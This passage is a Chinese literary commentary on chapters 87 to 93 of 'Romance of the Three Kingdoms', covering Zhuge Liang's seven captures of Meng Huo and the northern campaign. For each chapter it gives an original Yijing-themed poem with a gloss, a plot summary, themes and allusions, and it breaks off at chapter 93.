    徐盛火攻：徐盛的火攻之计可以追溯到中国古代战争中诸多火攻的战例，如赤壁之战中周瑜的火攻。这一典故成为了后世军事策略中以火攻取胜的典型案例，被人们所铭记和借鉴。


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 第87章 征南寇丞相大兴师，抗天兵蛮王初受执

    一、七律诗对《周易哲学视角下的南征与臣服——解析〈征南寇丞相大兴师，抗天兵蛮王初受执〉》进行解析：


    （二）《周易哲思南征篇》


    周易玄妙蕴哲思，南征故事展旌旗。


    阴阳转化道中理，太极平衡世间奇。


    君子自强天行健，厚德载物地势夷。


    刚柔并济显谋略，否极泰来势可期。


    （二）诠释:


    这首诗围绕周易哲学在南征故事中的体现展开，表达了阴阳转化、太极平衡、君子品质以及刚柔相济等核心概念，同时也传达了对未来发展的期待。


    诗的首联“周易玄妙蕴哲思，南征故事展旌旗”，点明了周易哲学的深奥玄妙以及它与南征故事的紧密联系。


    颔联“阴阳转化道中理，太极平衡世间奇”，阐述了周易哲学中阴阳相互转化的道理和太极平衡的奇妙之处，这在南征故事中也有所体现。


    颈联“君子自强天行健，厚德载物地势夷”，强调了君子应具备自强不息的精神和宽厚包容的品德，这与故事中人物的品质相呼应。


    尾联“刚柔并济显谋略，否极泰来势可期”，指出了在南征中刚柔并济的谋略运用，以及逆境会转变为顺境的可期之势。


    整首诗通过对周易哲学与南征故事的结合解析，展现了深刻的思考和感悟。


    （三）三国演义第 87回回目，经典梗概，主题思想，经典情节，经典诗句，经典典故


    回目：《征南寇丞相大兴师，抗天兵蛮王初受执》。


    经典梗概：


    蜀丞相诸葛亮受昭烈帝刘备托孤遗诏，立志北伐以重兴汉室，但此时蜀南方的南蛮孟获起兵犯境。于是，诸葛亮令蒋琬为将军，魏延为大将，王平、张翼为副将，起川兵五十万前往益州征讨孟获。


    到了益州边界，魏延、张翼、王平将反贼鄂焕生擒。诸葛亮又施反间计，让反贼高定杀死雍闿、朱褒，并命高定为益州太守，平息了三路反贼。


    蛮王孟获听闻后，命三洞元帅商议。诸葛亮以赵云、魏延不熟悉地理情况为由拒用二人，实则用激将法。二人联手杀得三洞元帅兵马大败。孟获亲自出战，被魏延活捉。诸葛亮将孟获及其将士全部释放，等待来日再决雌雄。


    主题思想：


    战略智慧的展现：诸葛亮南征的过程充分体现了他卓越的军事才能和战略智慧。如使用反间计、激将法等策略，轻松击败蛮兵，展现出智慧在战争中的重要性。这反映出《三国演义》一贯强调的斗智斗勇的主题，即战争不仅是武力的较量，更是智慧的博弈。


    “攻心为上”的理念：马谡建议诸葛亮攻心为上，攻城为下，诸葛亮接受了这一建议，并在生擒孟获后将其释放，目的是要让孟获心服口服。这体现了一种恩威并施、以德服人的统治理念，也暗示了收服人心比单纯的武力征服更为重要。


    对国家统一和稳定的追求：诸葛亮南征是为了平定南方的叛乱，维护蜀国的统一和稳定。这与整部《三国演义》所表达的“合久必分，分久必合”的历史发展规律相契合，强调了国家的统一是历史的必然趋势。


    经典情节：


    巧用反间计：诸葛亮利用蛮王孟获与手下将领之间的矛盾，巧妙地施展反间计。他派人在雍闿、朱褒、高定之间制造误会，让他们互相猜忌，最终不费一兵


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    一卒，借高定之手除掉了雍闿和朱褒，成功削弱了蛮兵的力量。


    孟获被擒：魏延活捉孟获是本回的一个重要情节。孟获自恃勇力，亲自出战，却被魏延用计引入陷阱，最终被生擒。这一情节不仅展示了魏延的勇猛和智谋，也为后续诸葛亮七擒孟获的故事埋下了伏笔。


    诸葛亮释孟获：诸葛亮生擒孟获后，并没有对他进行惩罚，而是将他和他的将士全部释放。这一举动体现了诸葛亮的大度和智慧，也显示了他想要收服孟获的决心。


    经典诗句：此回中可能没有特别出名的经典诗句被广泛流传。不过《三国演义》中有许多描述战争、人物等的诗词，虽然不一定在此回出现，但可以作为整体作品的诗词参考，比如“滚滚长江东逝水，浪花淘尽英雄。是非成败转头空。青山依旧在，几度夕阳红”，这首词开篇便奠定了作品宏大的历史基调。


    经典典故：


    七擒七纵：虽然本回只是“七擒七纵”的开始，但这一典故是围绕诸葛亮南征孟获展开的。诸葛亮为了收服孟获，对他进行了七次擒获和释放，最终使孟获心悦诚服，归降蜀汉。这一典故体现了诸葛亮的智慧和仁德，也成为了中国历史上的一段佳话。


    攻心为上：马谡向诸葛亮提出的“攻心为上，攻城为下”的策略，成为了后世战争和政治斗争中常用的策略之一。这一典故强调了在处理问题时，要从对方的心理和思想入手，通过感化、说服等方式来达到目的，而不是单纯地依靠武力。


    二、《周易哲学视角下的南征与臣服——解析〈征南寇丞相大兴师，抗天兵蛮王初受执〉》


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 第88章 渡泸水再缚番王，识诈降三擒孟获

    一、七律诗词对《周易智慧在〈三国演义〉第 88 回中的体现与解析》的解析：


    （二）《周易智慧与〈三国〉第 88 回》


    泸水波涛战未休，番王再缚智谋筹。


    阴阳变幻玄机显，刚柔相济事理周。


    三擒孟获见经略，识破诈降思远谋。


    周易哲思蕴其中，风云际会写春秋。


    （二）诠释:


    这首诗以“泸水波涛战未休”描绘了回目中的战争场景；“阴阳变幻”“刚柔相济”体现了周易的核心观念；“三擒孟获”“识破诈降”则展现了其中的智慧与策略；最后指出周易智慧在其中的蕴含，以及它对整个故事的重要影响，如同风云际会般书写了历史的春秋。


    以下是对这首七律诗词的诠释：


    诗的首联“泸水波涛战未休，番王再缚智谋筹”，描绘了泸水畔战事的激烈，以及诸葛亮再次擒缚番王孟获所展现的智谋筹划。


    颔联“阴阳变幻玄机显，刚柔相济事理周”，点明了周易中阴阳变化的玄妙之处，以及在处理事情时刚柔相济的周全考量。


    颈联“三擒孟获见经略，识破诈降思远谋”，具体阐述了三擒孟获这一情节所体现的谋略和智慧，以及识破孟获诈降所展现的深远谋略。


    尾联“周易哲思蕴其中，风云际会写春秋”，强调了周易的哲学思想在这一回目中的蕴含，以及这些智慧如同风云变幻般在《三国演义》中书写了波澜壮阔的历史篇章。


    整首诗通过对《三国演义》第 88 回的解读，深入挖掘了其中所蕴含的周易智慧，展现了这一回目的丰富内涵和深远意义。


    （三）三国演义第 88回回目，经典梗概，主题思想，经典情节，经典诗句，经典典故


    回目：《三国演义》第88回回目为“渡泸水再缚番王，识诈降三擒孟获”。


    经典梗概：


    孟获渡过泸水后安营扎寨，召集各洞酋长准备再战孔明。诸葛亮从本地人处探寻渡泸水之法，命马岱半夜渡过泸水，截了孟获的军粮。孟获正在洞中饮酒寻乐，对蜀兵兵临洞府毫无察觉，被孔明生擒。


    孟获不服，称是自家营中有人出卖、互相残杀才导致自己被擒。孔明便将孟获放回，准备再次擒拿。孟获回到本寨后，杀死了两名元帅董荼那与阿会喃。随后他与亲弟弟孟优商议，让孟优去诸葛亮营寨假投降。诸葛亮一眼识破此计，将计就计，用药麻翻孟优。孟获以为计谋得逞，夜晚前来接应时，被扮做蛮兵的马岱所捉。但孟获依旧不服，孔明又将其放回。


    主题思想：


    这一回主要体现了诸葛亮的智慧与仁德。他对孟获多次擒拿又多次释放，展现出其欲以仁德服人、收服南蛮人心的策略，而非单纯依靠武力征服。反映了在战争与征服中，智慧和仁德的力量有时比武力更为强大，也体现了中国传统文化中“仁者无敌”的思想观念。


    同时，通过孟获的倔强和屡败屡战，从侧面衬托出诸葛亮的智慧超群，以及平定南蛮的艰难，强调了想要真正实现地区的稳定和长治久安，需要恩威并施、智慧与仁德相结合的道理。


    经典情节：


    夜渡泸水截粮：诸葛亮了解到泸水的特点后，派马岱半夜渡河。士兵起初因不知泸水有毒，半渡而死，后按照向导土人的建议，半夜水冷毒散尽时渡河，成功截了孟获的军粮。这一情节不仅体现


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    了诸葛亮的足智多谋，善于利用天时地利，也展现了他对战争细节的把控。


    识破诈降：孟获让弟弟孟优假投降，欲里应外合对付诸葛亮。诸葛亮一眼识破此计，将计就计，先用药麻翻孟优等人，然后设下埋伏。等孟获前来时，轻松将其擒住。此情节充分展示了诸葛亮的智慧和洞察力，以及他在面对敌人计谋时的沉着冷静和巧妙应对。


    经典诗句：《三国演义》第88回中似乎没有特别广为人知的经典诗句。


    经典典故：这一回的主要典故就是“三擒孟获”。诸葛亮三次擒拿孟获，孟获却始终不服，展现出孟获的倔强性格，也为后续诸葛亮继续对孟获的收服埋下伏笔。这个典故后来成为一个着名的历史故事，被人们用来形容通过智慧和耐心，逐步征服对手、使其心服口服的过程。


    二、《周易智慧在〈三国演义〉第 88 回中的体现与解析》


    《三国演义》第 88 回“渡泸水再缚番王，识诈降三擒孟获”，这一回目蕴含着丰富的故事和深刻的哲理。从周易哲学的角度来深度解析这一回目，可以发现其中蕴含着阴阳变化、刚柔相济、循环往复等诸多哲学观念，为我们展现了一幅波澜壮阔的历史画卷。


    在这一回中，“渡泸水再缚番王”这一部分，体现了周易哲学中“变”的观念。泸水是一道天然的屏障，孟获凭借此水来抵御诸葛亮的进攻。然而，诸葛亮通过对地理环境的了解和对天时的把握，成功地渡过了泸水，再次将孟获擒拿。这一过程中，体现了事物的变化是无穷的，没有绝对的障碍和困境，只要善于观察和思考，就能找到突破的方法。


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 第89章 武乡侯四番用计 南蛮王五次遭擒

    一、七律诗词对《周易智慧在〈三国演义〉第 89 回中的体现与解析》的解析：


    （一）《周易智慧〈三国〉绎》


    诸葛妙计蕴易理，孟获数擒意未已。


    变易反复世间事，阴阳调和道中机。


    顺应天道展谋略，悖离中和终失利。


    三国风云载智慧，周易光芒照史帙。


    （二）诠释:


    这首诗以简洁的语言，阐述了《三国演义》第 89 回中所体现的周易智慧。诸葛亮的计策体现变易与阴阳，孟获的反复则反映世事无常。强调了顺应天道和追求中和的重要性，最后指出周易智慧在其中的闪耀光芒。


    诗的首联“诸葛妙计蕴易理，孟获数擒意未已”，指出诸葛亮的巧妙计策中蕴含着周易的道理，而孟获多次被擒仍不罢休。


    颔联“变易反复世间事，阴阳调和道中机”，说明世间的事情充满变化和反复，而周易中的阴阳调和体现了其中的关键所在。


    颈联“顺应天道展谋略，悖离中和终失利”，强调了顺应自然规律和追求中和的重要性，违背这些则会最终导致失利。


    尾联“三国风云载智慧，周易光芒照史帙”，表达了《三国演义》这部作品承载着丰富的智慧，而周易的光芒也照耀着历史的篇章。


    整首诗通过对《三国演义》第 89 回与周易智慧的关联进行阐述，展现了周易哲学在其中的深刻体现和启示。


    （三）三国演义第 89回回目，经典梗概，主题思想，经典情节，经典诗句，经典典故


    回目：《三国演义》第89回回目为“武乡侯四番用计 南蛮王五次遭擒”。


    经典梗概：


    诸葛亮领军渡西洱河，扎寨安营准备与蛮兵作战。孟获新得蛮兵相助，引兵十万，命前部獠丁来搦战。诸葛亮乘驷马车出营观战，随后命军士退回营中，不许出战。蜀兵坚守数日后，诸葛亮在高处发现蛮兵多有懈怠。他吩咐部将计策，待夜里狂风起时，蜀军一举大破蛮兵，第四次擒获孟获。孟获不服，要求再战，诸葛亮便又放了他。


    孟获、孟优投奔秃龙洞朵思大王，三人合兵一处。朵思献计利用险恶山势，堵塞洞口并配重兵把守，认为蜀军若来，必定会进入瘴气、毒泉之处，断无生路。


    后来多亏孟获之兄孟节指点迷津，蜀军方度过鬼门关。不久，银冶洞主杨锋反水，将孟获、孟优、朵思大王擒获并献于诸葛亮。但孟获还是不服，诸葛亮只得第五次释放了孟获。


    主题思想：


    展现了诸葛亮的智慧与谋略：诸葛亮对孟获“七擒七纵”，在第89回中，无论是前期坚守待敌懈怠再出击，还是后来应对秃龙洞的困境，都充分体现了他的足智多谋、善于用兵，以及对人心的把握。这反映出智慧和谋略在战争中的重要性。


    强调“攻心为上”的策略：诸葛亮多次擒获孟获又将其释放，目的是从心理上征服孟获和南蛮各族，使其真心归降。这种“攻心”的策略不仅体现了诸葛亮的政治智慧，也表达了作者对于收服人心、以和为贵的推崇。


    反映了南蛮地区的复杂局势和民族特点：通过对孟获召集各洞主、蛮兵的战斗方式以及秃龙洞的险恶环境等描写，展现了南蛮地区的复杂地形、独特的文化和民族性格，丰富了小说的地域文化内涵。


    经典情节：


    诱敌深入破蛮兵：诸葛亮先是坚壁不出，让蛮兵以为蜀军胆怯。待蛮兵渐渐懈怠后


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    ，他抓住时机，以诱敌深入之计，将孟获的军队引入伏击圈。夜里狂风大作时，蜀军突然杀出，大破蛮兵，成功四擒孟获。


    秃龙洞的毒泉之险：孟获等人逃到秃龙洞后，朵思大王介绍洞中的四条毒泉，包括哑泉、灭泉、黑泉、柔泉，这些毒泉给蜀军带来了巨大的威胁，也增加了故事的惊险性和奇幻色彩。


    孟节指点迷津：蜀军陷入毒泉困境时，幸得孟获之兄孟节出现。孟节因嫌弃功名逃到此地，他心地善良，为蜀军指点了破解毒泉之法，帮助蜀军度过难关。这一情节不仅展现了孟节的高尚品德，也为故事的发展带来了转机。


    杨锋反水擒孟获：银冶洞主杨锋原本与孟获等人在一起，但后来他突然反水，带领手下将孟获、孟优和朵思大王擒获，并献给诸葛亮。这一情节体现了南蛮各洞主之间的复杂关系和利益纷争。


    经典诗句：


    “山泽欲焦枯，火光覆太虚。不知天地外，暑气更何如！”此诗描绘了南方炎热的天气，烘托出蜀军在南征途中所面临的艰苦环境，也为后文蜀军遇到毒泉等困境做了铺垫。


    “赤帝施权柄，阴云不敢生。云蒸孤鹤喘，海热巨鳌惊。忍舍溪边坐？慵抛竹里行。如何沙塞客，擐甲复长征！”同样是描写炎热气候，生动地表现出高温下自然万物的状态，以及士兵们在这样恶劣环境下征战的艰难。


    经典典故：


    七擒七纵：本回是“七擒七纵”故事的重要部分，诸葛亮四次擒获孟获又将其放回，为后续的故事发展奠定了基础。“七擒七纵”后来成为一个着名的典故，常用来形容以仁德和智慧收服人心，而不是单纯依靠武力征服。


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 第90章 驱巨兽六破蛮兵，烧藤甲七擒孟获

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 90 回解析》的描述：


    （一）《〈三国演义〉第 90 回解析》


    诸葛筹谋战蛮疆，阴阳变幻计深藏。


    巨兽惊退破敌阵，藤甲火焚显智芒。


    七擒孟获仁德显，易理哲思蕴华章。


    世事如棋乾坤转，英雄气概世流芳。


    （二）诠释:


    这首诗以七律的形式，结合周易哲学的视角，对第 90 回的情节进行了概括和解析，体现了其中的智慧、仁德以及变化的哲理。


    “诸葛筹谋战蛮疆，阴阳变幻计深藏”：描述了诸葛亮在与南蛮的战斗中精心谋划，运用了阴阳变化的策略，其计策深不可测。


    “巨兽惊退破敌阵，藤甲火焚显智芒”：讲述了诸葛亮用巨兽吓退敌军，又用火攻藤甲军的智谋之举，展现出他的智慧光芒。


    “七擒孟获仁德显，易理哲思蕴华章”：强调了诸葛亮七擒七纵孟获所体现的仁德，同时也蕴含着周易哲学中的深刻思考和精华。


    “世事如棋乾坤转，英雄气概世流芳”：指出世间的事情就像棋局一样变化无常，而英雄们的气概将永远流传。


    这首诗通过对《三国演义》第 90 回的解析，展现了其中丰富的内涵和哲理，以及英雄人物的伟大形象。


    （三）三国演义第 90回回目，经典梗概，主题思想，经典情节，经典诗句，经典典故


    回目：《三国演义》第90回的回目是“驱巨兽六破蛮兵，烧藤甲七擒孟获”。


    经典梗概：


    蜀军士垒土越墙得了三江城，孔明又设计计擒孟获妻子祝融夫人，将其换回被俘的蜀将。孟获请八纳洞主木鹿大王助阵，木鹿大王深通法术，能呼风唤雨，还带着虎豹豺狼等猛兽出战。赵云、魏延起初无法抵挡，败下阵来。但诸葛亮早有准备，用二十辆红油柜车中取出的木刻彩画巨兽，口吐火焰、鼻出黑烟，吓跑了蛮洞真兽，木鹿大王也死于乱军之中。


    之后孟获妻弟带来洞主因劝孟获归降不成，将孟获并祝融夫人及宗党数百余人擒来献与诸葛亮，但这是孟获的诈降之计，被诸葛亮识破。孟获第六次被擒，仍心有不服，诸葛亮再次放他回去。孟获又请来乌戈国王兀突骨，率三万藤甲军在桃花渡口下寨，藤甲渡江不沉，刀箭不入。诸葛亮决定用火攻，派赵云去盘蛇谷准备柴草，令魏延在半月内连输十五阵，弃七个营寨，诱敌深入，最终火烧藤甲军。孟获单骑突围，被马岱生擒。


    主题思想：


    仁德服人：诸葛亮对孟获七擒七纵，尽管孟获多次反叛，但诸葛亮始终坚持以仁德感化他，而非单纯依靠武力征服。这体现了仁德的力量，强调了君主或将领若想真正收服人心，仁德是极为重要的品质。


    智慧的力量：在与孟获及其盟军的对抗中，诸葛亮充分展示了他的智慧和谋略。无论是应对猛兽之兵，还是设计火烧藤甲军，都体现了他的足智多谋。这表明在战争和竞争中，智慧是取得胜利的关键因素。


    民族团结：南蛮地区与蜀汉原本处于对立状态，但通过诸葛亮的努力，最终实现了一定程度的和解与融合。这反映出民族之间的团结和融合是国家稳定、发展的重要基础，即使存在矛盾和冲突，也可以通过和平的方式解决。


    经典情节：


    木鹿大王驱兽：木鹿大王能呼风唤雨，手下更有虎豹豺狼、毒蛇恶蝎跟随，作战时


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    这些猛兽冲锋陷阵，让蜀军难以抵挡。这一场景不仅展示了南蛮地区的神秘法术和独特战法，也为诸葛亮后续的应对策略埋下了伏笔。


    火烧藤甲军：诸葛亮利用藤甲军藤甲的特性——渡江不沉、刀箭不入，但易燃，设下计谋将兀突骨的三万藤甲军引入盘蛇谷，然后火烧藤甲军。此情节充分展现了诸葛亮的神机妙算和对敌人弱点的精准把握，场面壮观且情节紧张。


    经典诗句：本回中可能没有特别广为人知的经典诗句，但《三国演义》中有一些描述战争、人物等的诗句值得一提，比如“滚滚长江东逝水，浪花淘尽英雄。是非成败转头空。青山依旧在，几度夕阳红”，虽不是本回中的诗句，但很好地体现了《三国演义》这部作品的历史沧桑感和对英雄人物的感慨。


    经典典故：


    七擒孟获：诸葛亮对孟获七次擒拿又七次释放，孟获最终心悦诚服，对诸葛亮表示拜服，这是《三国演义》中非常着名的典故。它体现了诸葛亮的卓越智慧和宽广胸怀，也成为了后世宣扬仁德、智慧和宽容的典范。


    驱兽之术：木鹿大王的驱兽之术在古代传说和神话中并不鲜见，但在《三国演义》中被生动地描绘出来，成为一个独特的战争手段，为故事增添了神秘色彩和奇幻元素。这也反映了古代人们对神秘力量的想象和敬畏。


    二、《周易哲学视角下的〈三国演义〉第 90 回解析》


    《三国演义》第 90 回“驱巨兽六破蛮兵，烧藤甲七擒孟获”，这一回目所展现的情节与人物，蕴含着深刻的哲理与智慧，值得我们从周易哲学的角度进行深度剖析。


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 第91章 祭泸水汉相班师，伐中原武侯上表

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 91 回：泸水祭与北伐谋》的解析：


    （一）《解析〈三国演义〉第 91 回》


    泸水波涛祭旧尘，武侯谋略蕴经纶。


    阴阳燮理乾坤变，刚柔相谐局势新。


    北伐雄心昭日月，表文深意蕴星辰。


    易中哲理通三国，史册传奇墨韵醇。


    （二）诠释:


    这首诗以“泸水波涛祭旧尘”描绘了回目中泸水祭祀的场景，“武侯谋略蕴经纶”突出了诸葛亮的智谋与韬略。“阴阳燮理乾坤变”体现了周易哲学中阴阳平衡与变化的观念，“刚柔相谐局势新”则表达了局势的变化与应对之策。“北伐雄心昭日月”展现了诸葛亮北伐的壮志豪情，“表文深意蕴星辰”强调了上表所蕴含的深远意义。最后，“易中哲理通三国”点明了周易哲学与《三国演义》的紧密联系，“史册传奇墨韵醇”则表达了对这一回故事的赞美与敬意。


    （三）三国演义第 91回回目，经典梗概，主题思想，主要人物，经典情节，经典诗句，经典典故


    《三国演义》第 91 回回目：祭泸水汉相班师，伐中原武侯上表。


    经典梗概：


    祭泸水：诸葛亮平定南蛮后班师回朝，行至泸水时，突然阴云密布、狂风骤起，军队无法渡河。孟获告知需用七七四十九颗人头并黑牛白羊祭祀猖神，才能风平浪静。但诸葛亮不愿妄杀一人，便命行厨宰杀牛马，和面为剂，塑成人头，内以牛羊等肉代之，名曰“馒头”。当夜，孔明在泸水岸边设香案、铺祭物、列灯四十九盏、扬幡招魂，亲自临祭并令董厥读祭文。祭文读完，孔明放声大哭，极其痛切，情动三军。只见愁云怨雾之中，隐隐有数千鬼魂，皆随风而散。次日，云收雾散，风静浪平，蜀兵安然渡过泸水。


    曹丕去世与曹睿继位：北方的魏国，魏主曹丕在位七年，感染寒疾，医治不痊，临终前将幼子曹睿托付给曹真、陈群、司马懿、曹休等人后驾崩，享年四十岁。曹睿继位，成为大魏皇帝，封钟繇为太傅，曹真为大将军等，大赦天下。


    诸葛亮的谋划：早有细作将曹丕去世的消息飞报入川，诸葛亮认为曹丕已死，曹睿年幼不足虑，但司马懿深有谋略，督雍、凉兵马，日后必为蜀中大患，欲先起兵伐之。参军马谡献计，让诸葛亮密遣人往洛阳、邺郡等处布散流言，说司马懿欲反，并张贴司马懿告示天下的榜文，使曹睿心疑，借曹睿之手除掉司马懿。诸葛亮依计行事。


    主题思想：


    这一回体现了诸葛亮的仁德与智慧。他用“馒头”代替人头祭祀泸水冤魂，既避免了滥杀无辜，又安抚了亡魂、顺利班师，展现出他的仁德之心；面对魏国新君继位、局势变化，他能迅速分析局势，果断决定北伐并使用计谋对付司马懿，体现出其卓越的智慧和战略眼光。


    同时，也反映出三国时期各国之间的政治斗争和权力争夺的复杂性。曹睿继位后，朝中大臣对司马懿的态度不一，有人主张诛杀，有人认为不可轻信谣言，反映出朝廷内部的权力纷争和人心惶惶；而诸葛亮为了实现刘备的遗愿，抓住时机北伐，也体现了蜀汉对曹魏的斗争从未停止。


    主要人物：


    诸葛亮：本回的核心人物，展现出了他的仁德、智慧和忠诚。在泸水祭祀一事上，他以仁德为本，想出用“馒头”祭祀的办法；面对魏国局势变化，他果断决策，准备北伐。


    曹睿：魏国新继位的皇帝，年幼登基，面对司马懿的问题时，起初惊慌失措，后在大臣的建议下思考应对之策，展现出一定的帝王之态，但仍显稚嫩。


    司马懿：曹魏的重要将领，有深谋远略，主动请求镇守雍、凉，引起了诸葛亮的警惕，也成为本回中各方计谋的焦点人物。


    马谡：蜀汉的参军，为诸葛亮出谋划策，提出用反间计对付司


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    马懿，展现出一定的谋略，但后来在街亭之战中的失误，也暴露了他实战经验的不足。


    经典情节：


    泸水祭祀：诸葛亮面对泸水的阻碍，没有听从用活人祭祀的旧例，而是以“馒头”代替人头进行祭祀。他亲自临祭，读祭文时放声大哭，情感三军，不仅展现了他的仁德，也使泸水的冤魂得以安息，军队顺利渡河。


    散布谣言：诸葛亮听从马谡的建议，派遣人在洛阳、邺郡等地散布司马懿谋反的谣言，并张贴所谓的司马懿告示天下的榜文，成功离间了曹睿和司马懿的关系，使曹睿对司马懿产生怀疑，这一情节展示了诸葛亮的智谋和对人心的把握。


    经典诗句：本回中诸葛亮所读的祭文可视为经典文字：


    “维大汉建兴三年秋九月一日，武乡侯、领益州牧、丞相诸葛亮，谨陈祭仪，享于故殁王事蜀中将校及南人亡者阴魂曰：我大汉皇帝，威胜五霸，明继三王。昨自远方侵境，异俗起兵；纵虿尾以兴妖，盗狼心而逞乱。我奉王命，问罪遐荒；大举貔貅，悉除蝼蚁；雄军云集，狂寇冰消；才闻破竹之声，便是失猿之势。但士卒儿郎，尽是九州豪杰；官僚将校，皆为四海英雄：习武从戎，投明事主，莫不同申三令，共展七擒；齐坚奉国之诚，并效忠君之志。何期汝等偶失兵机


    ，缘落奸计：或为流矢所中，魂掩泉台；或为刀剑所伤，魄归长夜：生则有勇，死则成名，今凯歌欲还，献俘将及。汝等英灵尚在，祈祷必闻：随我旌旗，逐我部曲，同回上国，各认本乡，受骨肉之蒸尝，领家人之祭祀；莫作他乡之鬼，徒为异域之魂。我当奏之天子，使汝等各家尽沾恩露，年给衣粮，月赐廪禄。用兹酬答，以慰汝心。至于本境土神，南方亡鬼，血食有常，凭依不远；生者既凛天威，死者亦归王化，想宜宁帖，毋致号啕。聊表丹诚，敬陈祭祀。呜呼，哀哉！伏惟尚飨！”


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 第92章 赵子龙力斩五将，诸葛亮智取三城

    一、七律诗解析《周易智慧在〈三国演义〉第 92 回中的辉映》：


    （一）《周易辉映三国事》


    赵云勇武斩敌将，诸葛智谋夺三城。


    阴阳互化蕴深意，变易之机妙策呈。


    时位相应展谋略，和谐之力众志成。


    周易智慧光芒闪，名着回中见真情。


    （二）诠释:


    这首诗围绕“赵子龙力斩五将，诸葛亮智取三城”这一回目，结合周易哲学的观念，展现了其中的智慧与精彩，同时也表达了对《三国演义》的赞赏之情。


    诗的首联“赵云勇武斩敌将，诸葛智谋夺三城”，直接点明了第 92 回的主要情节，赵云的勇猛和诸葛亮的智谋形成鲜明对比。


    “阴阳互化蕴深意，变易之机妙策呈”，这两句阐述了周易哲学中阴阳相互转化和变易的思想在故事中的体现，赵云的勇和诸葛亮的智都是这种哲学思想的映照。


    “时位相应展谋略，和谐之力众志成”，强调了时位的重要性以及众人和谐协作的力量，这也是周易智慧在故事中的体现。


    “周易智慧光芒闪，名着回中见真情”，总结了周易智慧在《三国演义》这一回中的辉映，同时也表达了对名着中所蕴含情感的感悟。


    整首诗以周易哲学为线索，深入剖析了《三国演义》第 92 回的内涵与意义，展现了其丰富的智慧和魅力。


    （三）《三国演义》第 92回回目，经典梗概，主题思想，主要人物，经典情节，经典诗句，经典典故


    《三国演义》第 92 回回目：赵子龙力斩五将，诸葛亮智取三城。


    经典梗概：


    蜀魏交战，曹魏主派驸马夏侯楙领军。夏侯楙任用西凉大将韩德为先锋，韩德有四子，皆精通武艺。双方在凤鸣山对阵，赵云挺枪纵马，单搦韩德交战。长子韩瑛战不三合被赵云刺死；次子韩瑶纵马挥刀来战，抵敌不住；三子韩琼挺方天戟夹攻，被赵云一箭射中面门落马而死；四子韩琪也被赵云击败。韩德肝胆皆裂，败逃。随后夏侯楙亲自领兵与赵云交战，战不三合，韩德被赵云刺死。夏侯楙仓忙逃走。


    赵云被困，幸得诸葛亮神机妙算，派张苞、关兴等将领救援，大破魏军。诸葛亮又用计让魏延假扮安定军，骗开安定城城门，拿下安定城。接着，孔明识破安定太守崔谅的假归顺，命关兴、张苞随崔谅至南安城下，里应外合，刺死崔谅，生擒夏侯楙。


    主题思想：


    展现了蜀汉将领的英勇和忠诚，如赵云虽年已七旬，但仍能在战场上奋勇杀敌，力斩五将，体现了其英勇无畏的精神以及对蜀汉的忠诚。


    突出了诸葛亮的足智多谋，他指挥若定，巧妙地运用各种计谋夺取三城，展现了卓越的军事才能和智慧。


    反映了战争的残酷和胜负的无常，战争中双方都有伤亡，局势也随时可能发生变化，如夏侯楙起初轻视蜀军，最终却战败被擒。


    主要人物：


    赵云：蜀汉名将，英勇善战，年逾七旬仍有万夫不当之勇，在本回中力斩韩德五子，威震敌胆。


    诸葛亮：蜀汉丞相，智慧超群，善于用兵，巧妙地指挥军队取得胜利，智取三城。


    夏侯楙：曹魏驸马，懦弱无谋，领军作战却屡战屡败，最终被蜀军生擒。


    韩德：西凉大将，有万夫不当之勇，但在与赵云的交战中，五个儿子皆被赵云所杀。


    关兴、张苞：蜀汉年轻


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    将领，英勇果敢，在救援赵云以及攻打南安城等战斗中表现出色。


    经典情节：


    赵云力斩五将：赵云在凤鸣山与韩德父子交战，以一敌五，先后杀死韩德的长子韩瑛、三子韩琼、四子韩琪，生擒次子韩瑶，最后又刺死韩德，展现出惊人的战斗力和高超的武艺。


    诸葛亮智取三城：诸葛亮先是用计让魏延骗开安定城城门，然后识破崔谅的假投降，利用他里应外合拿下南安城，充分展示了他的智慧和谋略。


    赵云被困与获救：赵云深入敌阵，被夏侯楙设计围困，从辰时杀至酉时无法脱走，以为自己将死于此地，后得张苞、关兴率领援兵杀到，成功突围。


    经典诗句：“忆昔常山赵子龙，年登七十建奇功。独诛四将来冲阵，犹似当阳救主雄。”此诗高度赞扬了赵云的英勇，即便年事已高，仍能在战场上建立奇功，其勇猛之势如同当年在当阳长坂坡救主一般。


    经典典故：此回中暂未涉及特别独立的经典典故，但赵云力斩五将的情节可与历史上众多猛将的英勇事迹相呼应，成为《三国演义》中展现武将风采的经典桥段之一。同时，诸葛亮智取三城的情节也体现了中国古代兵法中“兵不厌诈”的思想，可与诸多历史上的智谋故事相提并论。


    二、《周易智慧在〈三国演义〉第 92 回中的辉映》


    《三国演义》第 92 回“赵子龙力斩五将，诸葛亮智取三城”，这一回目充满了激烈的战斗与智谋的较量，展现了历史的波澜壮阔与人性的复杂。而当我们以周易哲学的视角来深度解析这一回时，更能发现其中蕴含的深刻哲理与智慧。


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 第93章 姜伯约归降孔明，武乡侯骂死王朗

    一、七律诗词对《周易智慧在〈三国演义〉第 93 回中的映照》的解析：


    （一）《解析〈三国演义〉第 93 回》


    孔明妙计收姜维，王朗骄狂祸自随。


    易理深藏战局变，智谋彰显命运追。


    刚柔并济乾坤定，否泰相循运势移。


    君子小人分泾渭，千秋史册载传奇。


    （二）诠释:


    这首诗以七律的形式，阐述了第 93 回中体现的周易智慧。诸葛亮的智谋与王朗的骄狂形成鲜明对比，易理的变化影响着战局和人物命运。刚柔相济、否泰转化体现其中，君子与小人的分别也在故事中清晰展现，最终成就了这一历史传奇在史册上的永恒。


    诗的首联“孔明妙计收姜维，王朗骄狂祸自随”，描述了诸葛亮运用智谋成功收降姜维，而王朗的骄狂自大则导致了自身的灾祸，这体现了周易中“阴阳相济”和“亢龙有悔”的智慧。


    颔联“易理深藏战局变，智谋彰显命运追”，指出周易的道理隐藏在战局的变化之中，人物的智谋也在左右着命运的走向，强调了周易哲学对故事情节的影响。


    颈联“刚柔并济乾坤定，否泰相循运势移”，进一步阐述了周易中“以柔克刚”和“否极泰来”的思想，说明在局势中刚柔、否泰的相互转化。


    尾联“君子小人分泾渭，千秋史册载传奇”，明确了君子与小人的区别，突出了故事的传奇性将被永远载入史册。


    整首诗通过对《三国演义》第 93 回的解读，深入剖析了其中蕴含的周易智慧，展现了故事的精彩与深刻内涵。


    （三）《三国演义》第 93 回回目：姜伯约归降孔明，武乡侯骂死王朗。


    经典梗概：


